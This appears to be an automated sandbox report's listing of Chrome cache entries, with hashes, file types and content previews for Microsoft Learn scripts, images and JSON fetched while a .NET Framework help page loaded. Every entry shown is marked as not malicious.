URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Reputation:	unknown
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=3907f97605.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25441
Entropy (8bit):	5.152769469811509
Encrypted:	false
SSDEEP:
MD5:	CCDED74C889AFA3851036BDF0CADB421
SHA1:	E7263595381709693C603531E5F125F10C01641C
SHA-256:	E8577F9831DBFDABD050EB0B30AB35060C7CA337DB0911F7F42C09E6E265AA9D
SHA-512:	3270A6A71CBCA125DADBF9BB3928201D233788CDA14A00DC01865574AC443CADCC2AE80C269657938DC1D9F8F1DB11AAEC48E42D31031635332D9526AF0C9930
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Reputation:	unknown
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
